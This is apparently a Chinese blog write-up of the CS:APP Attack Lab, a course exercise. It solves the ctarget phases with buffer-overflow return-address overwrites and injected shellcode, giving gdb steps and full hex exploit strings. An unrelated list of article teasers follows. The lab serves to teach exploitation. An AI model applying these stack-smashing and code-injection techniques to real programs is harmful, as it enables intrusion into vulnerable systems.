深入理解计算机系统 CSAPP 实验lab:Attack Lab

news2024/9/22 11:35:12

 资源下载地址:CS:APP3e, Bryant and O'Hallaron

CTARGET

objdump -d ctarget >ctarget.txt

反汇编我们下载的ctarget打开看看

 

touch1:

 我们期望的是getbuf执行完之后直接跳到touch1,利用缓存区溢出达到找个目的.

汇编显示call Gets之前 sub $0x28,%rsp,栈指针减小了 0x28 也就是 40,说明缓冲区的大小为 40 个字节。

这里要注意的是,栈中一行是64个位,也就是8字节,e.txt中一个数字代表4位,每一行是小端法.

e.txt:

把e.txt文件输入hex2raw程序输出r.txt文件,hex2raw程序的细节看官网的writeup.

./hex2raw < e.txt > r.txt

 将r.txt传入ctarget运行 参数-q是离线模式:

./ctarget -q < r.txt

用gdb运行ctarget

gdb ctarget

打断点(每个机器断点不同,打到Gets后面的指令即可): 

(gdb)b * 0x4017bq

 参数-q是离线模式,在gdb下将r.txt输入到ctarget运行

(gdb)r -q r.txt

我们可以通过

(gdb)display /x $rip

持续关注%rip的值来发现我们覆盖返回地址的情况.

答案:

30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 C0 17 40 00 00 00 00 00 

touch2:

4.2 Level 2 Phase 2 involves injecting a small amount of code as part of your exploit string. Within the file ctarget there is code for a function touch2 having the following C representation:

void touch2(unsigned val)

{
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
        }
    exit(0);
}

以上是writeup上的要求,根据要求我们的目标是,先覆盖返回地址跳转到栈地址,执行我们注入的代码改变参数val的值使其与cookie相等.再返回到touch2

 先构造我们的注入代码code.s,通过它得到机器码.

#code.s
movq $0x59b997fa,%rdi
pushq $0x4017ec
ret

编译code.s: 

gcc -c code.s

反汇编code.o: 

objdump -d code.o > code.d

 

 我们是利用getbuf的栈溢出所以是执行完sub $0x28,%rsp

打断点到0x4017ac:

(gdb)b * 0x4017ac

将code.d里面的机器码写到touch2.txt中 ,在溢出处修改的返回地址写成getbuf的栈0x5561dc78:

./hex2raw < touch2.txt > r.txt
./ctarget -q < r.txt

val已经被修改了.

答案:

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
touch3:

Phase 3 also involves a code injection attack, but passing a string as argument. Within the file ctarget there is code for functions hexmatch and touch3 having the following C representations:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
	char cbuf[110];
	/* Make position of check string unpredictable */
	char *s = cbuf + random() % 100;
	sprintf(s, "%.8x", val);
	return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval) {
	vlevel = 3; /* Part of validation protocol */
	if (hexmatch(cookie, sval)) {
		printf("Touch3!: You called touch3(\"%s\")\n", sval);
		validate(3);
	} else {
		printf("Misfire: You called touch3(\"%s\")\n", sval);
		fail(3);
	}
	exit(0);
}

Your task is to get CTARGET to execute the code for touch3 rather than returning to test. You must make it appear to touch3 as if you have passed a string representation of your cookie as its argument.

cookie:0x59b997fa

ascii:35 39 62 39 39 37 66 61

按照writeup的要求,我们的目标是将ascii:35 39 62 39 39 37 66 61存入栈中,再把存放的地址赋值给%rdi.

因为留意到hexmatch函数会对%rsp减去80,所以我们把ascii存在80个字节往后的位置.

图中每行14个字节6行之后就是84个字节

前面提到过栈地址不变为0x5561dc78

0x5561dc78+ 0x55(84的16进制) = 0x5561dccd

因为汇编指令和touch2是一样的我们就改数值就可以了.

假如我们把ascii存在0x5561dc78然后一步步调试会发现,这个地址上的值会被改变:

(gdb) display /s 0x5561dc85

 答案:

48 c7 c7 cc dc 61 55 68 fa 18 40 00 c3 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 35 39 62 39 39 37 66 61

RTARGET

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2042141.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JMeter高效管理测试数据-参数化

文章目录 1.什么是参数化2.定义变量3.CSV数据文件设置 1.什么是参数化 在JMeter中&#xff0c;参数化是一种常用的技术&#xff0c;用于使测试场景更加灵活和动态。通过参数化&#xff0c;你可以让JMeter在每次请求中使用不同的值&#xff0c;这在模拟真实用户行为或测试不同输…

【mybatis-plus@Select注解联表查询实现分页】

前言 MybatisPlus对于单表的操作很方便&#xff0c;但是多表查询等复杂的操作还是需要在xml中写sql语句来完成。那么&#xff0c;在MybatisPlus中如何实现多表联查、分页查询呢。 一、数据库表设计 我们模拟一个购物的情况&#xff0c;在数据库创建两个表&#xff0c;一个用户…

MeterSphere接口测试脚本断言

MeterSphere接口测试脚本断言 我们在接口自动化测试过程中&#xff0c;经常遇到无论我们传入什么数据信息&#xff0c;只要响应体报文中某个字段为不固定的特定信息&#xff08;如&#xff1a;或1或2或3&#xff09;&#xff0c;就符合预期&#xff0c;流程就可以继续&#xf…

通过JPA映射数据库

在 JPA (Java Persistence API) 中&#xff0c;实体类通常通过一系列注解来配置&#xff0c;以便与数据库表进行映射,与Mybatis-plus在功能上&#xff0c;具有一定的相似性,都是持久化框架。 package com.plumcarefree.demo.entity.user; import javax.persistence.*; impor…

用Python爬取高德地图地铁站点数据——Python程序及详解

0. 准备工作 在使用以下Python程序爬取高德地图地铁站点数据前&#xff0c;需要先在“高德开放平台”&#xff08;网站&#xff1a;高德开放平台 | 高德地图API&#xff09;申请一个API Key。具体操作为&#xff1a;注册一个“高德开放平台”账号&#xff0c;找到右上角的控制…

ImportError: DLL load failed: 找不到指定的程序的解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

mycat读写分离实现、企业架构MySQL读写分离

一、mycat读写分离实现 1. 添加一个新的虚拟主机&#xff0c;设置ip为10.1.1.60,主机名为mycat.yuanyu.zhangmin.关闭防火墙 SELinux NetworkManager 2. 上传jdk和mycat安装包 3. 解压并且添加到指定的位置 [rootmycat ~]# ls anaconda-ks.cfg frp initserver.sh jdk1.8.0_19…

24暑假算法刷题 | Day30 | 贪心算法 IV | LeetCode 452. 用最少数量的箭引爆气球,435. 无重叠区间,763. 划分字母区间

目录 452. 用最少数量的箭引爆气球题目描述题解 435. 无重叠区间题目描述题解 763. 划分字母区间题目描述题解 452. 用最少数量的箭引爆气球 点此跳转题目链接 题目描述 有一些球形气球贴在一堵用 XY 平面表示的墙面上。墙面上的气球记录在整数数组 points &#xff0c;其中…

【Docker】Elasticsearch 8.12 安装与搭建

由于工作过程中硬件资源未能达到要求&#xff0c;现将使用 Elasticsearch 取代原 Redis MySQL Milvus 技术栈&#xff0c;在重新搭建的同时记录一下搭建过程&#xff08;由于之前也分享过 Docker 版本 Elasticsearch 5.x 和 Elasticsearch 7.x 的部署方法&#xff0c;因此本文…

横看成岭侧成峰,远近高低各不同 —— 深入探讨Obfs4流量识别:特征、方法与应用

目录 引言 Obfs4流量特征 数据包大小与分布 时间间隔&#xff08;IAT&#xff09; 流量方向 加密特征 Obfs4流量识别方法 深度学习模型识别 示例代码 基于部分数据的多级剪枝方法 方法步骤 深度包检测与机器学习结合 应用场景 网络安全监控 Tor网络访问优化 匿…

分层神经网络(DNN)知多少?

分层神经网络作为深度学习的核心架构&#xff0c;已经彻底改变了我们处理复杂问题的方式。本文将带我们走进神经网络的基础知识&#xff0c;揭开GPT这些强大模型的神秘面纱。希望通过本文的介绍&#xff0c;我们不仅能够理解神经网络的基本构成&#xff0c;还能洞察到它们是如何…

OpenCV图像处理——轮廓的面积与弧长计算(C++/Python)

概述 轮廓面积与轮廓周长是图像分析中的两项核心统计特征&#xff0c;它们为理解和量化图像中的形状提供了基础。 轮廓面积&#xff1a;这代表了轮廓所界定区域的像素数量&#xff0c;是衡量区域大小的直接指标。面积的计算结果以像素平方为单位&#xff0c;为我们提供了一个量…

Wireshark_DNS_v7.0

Wireshark_DNS_v7.0 一、 nslookup 前置 nslookup 是一个网络命令行工具&#xff0c;用于查询域名系统&#xff08;DNS&#xff09;中的域名解析记录。通过使用 nslookup&#xff0c;你可以获取某个域名的IP地址&#xff0c;或者获取与某个IP地址关联的域名信息。 查看域名…

学校医院NTP电子钟让时间管理更加智能

在学校和医院这样的重要场所&#xff0c;时间的精确管理至关重要。每一分每一秒都可能关系到教学的进度、医疗的效果以及师生和患者的体验。而 NTP 电子钟的出现&#xff0c;为学校和医院的时间管理带来了全新的智能化变革。 一、NTP 电子钟在学校应用 NTP 电子钟&#xff0c;…

【北京迅为】《i.MX8MM嵌入式Linux开发指南》-第五篇 文件系统构建篇-第七十八章 离线构建Yocto系统

i.MX8MM处理器采用了先进的14LPCFinFET工艺&#xff0c;提供更快的速度和更高的电源效率;四核Cortex-A53&#xff0c;单核Cortex-M4&#xff0c;多达五个内核 &#xff0c;主频高达1.8GHz&#xff0c;2G DDR4内存、8G EMMC存储。千兆工业级以太网、MIPI-DSI、USB HOST、WIFI/BT…

【HarmonyOS】鸿蒙应用蓝牙功能实现 (一)

【HarmonyOS】鸿蒙应用蓝牙功能实现 前言 蓝牙技术是一种无线通信技术&#xff0c;可以在短距离内传输数据。它是由爱立信公司于1994年提出的&#xff0c;使用2.4 GHz的ISM频段&#xff0c;可以在10米左右的距离内进行通信。可以用于连接手机、耳机、音箱、键盘、鼠标、打印机…

工厂流水线MES报工一体机改善生产管理效率

作为智能制造的重要组成部分&#xff0c;MES系统&#xff08;制造执行系统&#xff09;在优化生产流程、提高生产效率、降低生产成本等方面发挥着不可替代的作用。而MES报工一体机作为MES系统的重要组成部分&#xff0c;更是帮助企业实现生产管理效率提升的利器。 一、MES报工一…

为何有了云计算,还需要边缘计算?EasyCVR视频平台助力数据高效汇聚与管理

在当今数字化的时代&#xff0c;云计算可谓是大名鼎鼎&#xff0c;它为我们的生活和工作带来了巨大的便利。但你有没有想过&#xff0c;既然有了强大的云计算&#xff0c;为什么还会出现边缘计算呢&#xff1f; 一、云计算与边缘计算&#xff1a;相辅相成的科技双雄 先来说说…

船员考证题库刷题

1、船舶主配电板系统&#xff0c;设有地气灯、配电板式兆欧表和低绝缘报警装置&#xff0c;及船舶照明分配电箱&#xff0c;当发生单相接地故障时而进行排查时&#xff0c;______设备是不能随意断电的。 A、厨房用电 B、卫星基站 C、起重机用电 答案&#xff1a;B 2、燃油…

修复或更换:螺杆机支撑座磨损后的处理选择

螺杆机后端支撑座磨损&#xff0c;主要是由于长期使用&#xff0c;润滑不足或使用劣质润滑油等原因导致的。当螺杆机支撑座出现磨损时&#xff0c;其承载能力会逐渐下降&#xff0c;加速磨损&#xff0c;导致设备运行不稳定&#xff0c;噪音增大&#xff0c;严重时还会导致设备…